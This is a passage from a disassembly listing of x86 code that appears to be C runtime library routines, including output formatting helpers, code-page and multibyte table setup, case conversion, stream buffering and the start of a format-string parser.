		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 26608E0h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 266088Ch
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 26608C7h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		call	near ptr 26608E0h
		nop
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
